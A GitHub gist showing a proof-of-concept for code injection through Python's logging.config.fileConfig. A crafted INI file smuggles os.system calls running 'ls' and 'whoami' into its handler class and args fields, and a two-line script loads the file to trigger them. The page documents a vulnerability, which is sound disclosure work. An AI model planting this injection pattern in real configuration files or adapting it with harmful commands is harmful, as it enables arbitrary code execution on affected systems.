Skip to content

Instantly share code, notes, and snippets.

@dhondta

dhondta/evil-config.ini

Last active January 11, 2023 13:02
Show Gist options
  • Save dhondta/e57cf56cd41fb1f90ad3b7d27e1edfb1 to your computer and use it in GitHub Desktop.
Save dhondta/e57cf56cd41fb1f90ad3b7d27e1edfb1 to your computer and use it in GitHub Desktop.
Download ZIP
Proof-of-Concept for logging Python code injection
Raw
evil-config.ini
[loggers]
keys=root
[handlers]
keys=stream_handler
[formatters]
keys=formatter
[logger_root]
level=DEBUG
handlers=stream_handler
[handler_stream_handler]
class=__import__('os').system('ls') or StreamHandler
level=DEBUG
formatter=formatter
args=(__import__('os').system('whoami') or sys.stderr, )
[formatter_formatter]
format=%(name)-12s %(levelname)-8s %(message)s
Raw
poc-python-logging.py
from logging.config import fileConfig
# trigger the vulnerability
fileConfig("evil-config.ini")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment